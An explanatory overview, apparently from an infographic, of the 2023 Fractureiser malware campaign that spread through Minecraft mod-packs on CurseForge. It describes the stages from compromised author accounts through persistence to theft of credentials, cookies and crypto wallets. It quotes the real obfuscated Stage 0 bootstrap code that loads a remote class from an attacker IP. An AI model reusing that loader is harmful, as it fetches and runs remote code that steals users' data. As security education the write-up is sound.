

Fractureiser Attack on Minecraft mods



Stage-by-stage Overview

Hacker compromises login information for authors of popular mod-packs on CurseForge and adds dependencies on malicious mods. By archiving the update it is hidden from the website interface and the change is undetected by the authors.

What was Fractureiser?

Fractureiser was a virus spread through the Minecraft modding scene in 2023. It abused lacking security measures in the mod-sharing platform CurseForge, enabling the hacker to add dependencies on malicious code.

To obfuscate itself, make infected systems permanently affected, and spread further it split the execution into multiple stages, each stage infecting the system further and progressing to the next stage.

Mod-pack is downloaded and ran by users.

Stage 0

Infected .jar's
contains bootstrap code
that loads and executes
a remote class using
java's URLClassLoader.

The URLClassLoader loads the class from a

Stage 1

The newly loaded class connects to another IP controlled by the malicious agent, downloads a new jar-file called [lib.jar] and tries to schedule it to run at OS (re-)boots using SystemD or Windows REGISTRY/Start Menu-Startup folder. Many of the stages loaded code remotely in Java, allowing the hacker to update and change the payload on already affected systems.

> Stage 2 [lib.jar] connects to yet another malicious server, downloads and runs [client.jar]. Periodically checking with the server if [client.jar]'s HASH has changed. This way the attacker can update the payload on already infected systems.



server controlled by the hacker.

Class.forName(new String(new byte[] { // "Utility" 85, 116, 105, 108, 105, 116, 121 }), true, (ClassLoader) Class.forName(new String(new byte[] { // "java.net.URLClassLoader" 106, 97, 118, 97, 46, 110, 101, 116, 46, 85, 82, 76, 67, 108, 97, 115, 115, 76, 111, 97, 100, 101, 114 })).getConstructor(URL[].class).newInstance(new URL[] { new URL(new String(new byte[] { // "http" 104, 116, 116, 112 }), new String(new byte[] { // "85.217.144.130" 56, 53, 46, 50, 49, 55, 46, 49, 52, 52, 46, 49, 51, 48 }), 8080, new String(new byte[] { // "/d1" 47, 100, 108 })) })).getMethod(new String(new byte[] { // "run" 114, 117, 110 }), String.class).invoke((Object) null, "-114.-18.38.108.-100");

Developers with contaminated systems uploads infected .jar's by mistake, thus spreading it further in the ecosystem.

Stage 3

[client.jar] steals login credentials, cookies, sessions tokens, crypto wallets, clipboard content, etc. It also finds and inserts the bootstrap code into other jars on the system.

More information and details from the